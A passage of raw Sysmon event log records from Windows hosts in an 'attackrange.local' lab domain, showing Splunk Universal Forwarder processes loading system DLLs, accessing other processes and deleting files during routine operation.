Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000052020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000052019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000052018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000052017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000052016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000052014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000052013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exeMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8trueSplunk, Inc.Valid 10341000x800000000000000052011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000052006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000052005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.819{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000052004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=30A6E8371F1A92B459553E3B54FEE241,SHA256=EACF16C576BFD64DD1E910011285EEE528CC5234C20E76063EA973648753C031,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000052003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.532{7BD73061-7301-613B-680B-00000000F001}62605272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.532{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000052001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.532{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000016692Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:17.029{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F92F4D27EFDA7F821456BE4E8E89E604,SHA256=83DEFB2477AA71DC4C0248ED811E2DC6B044DE1BFA658F0BF9A2C52DAEFCD62C,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000052000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.279{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000051999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.279{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000051998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.279{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000051997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.279{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000051996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.279{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000051995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.279{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000051994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.279{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000051993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.279{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000051992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.279{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000051991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000051990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000051989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000051988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000051987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000051986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000051985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000051984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000051983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000051982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000051981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program 